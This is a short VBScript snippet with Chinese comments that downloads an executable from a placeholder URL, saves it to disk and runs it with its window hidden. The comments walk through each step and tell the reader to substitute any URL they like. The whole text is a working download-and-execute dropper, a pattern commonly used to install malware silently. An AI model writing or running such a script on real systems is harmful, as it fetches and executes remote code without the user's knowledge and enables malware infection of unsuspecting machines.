url = "http://www.xxx.com/XXX.exe"    '网络上的EXE文件地址，改成你自己想要的就可以了啊
saveas = "XXX.exe"                '保存成的本地文件
Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象
Set stream = CreateObject("ADODB.Stream")       '创建ADO数据流对象
Call xmlhttp.open("GET",url,False)'打开连接
Call xmlhttp.send()'发送请求
stream.mode = 3 '设置数据流为读写模式
stream.type = 1     '设置数据流为二进制模式
Call stream.open()'打开数据流
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流
Call stream.savetofile(saveas,2)'将数据流保存为文件
Set WSHSHell=WScript.CreateObject("WScript.Shell") '创建Shell对象
'运行XXX.exe
WSHSHell.Run "XXX.exe",0
'释放对象
Set xmlhttp = Nothing
Set stream = Nothing